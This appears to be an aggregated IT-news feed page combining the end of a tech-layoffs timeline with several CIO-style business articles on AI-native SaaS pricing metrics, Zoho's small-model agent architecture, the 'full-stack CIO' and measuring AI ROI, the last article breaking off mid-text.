<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



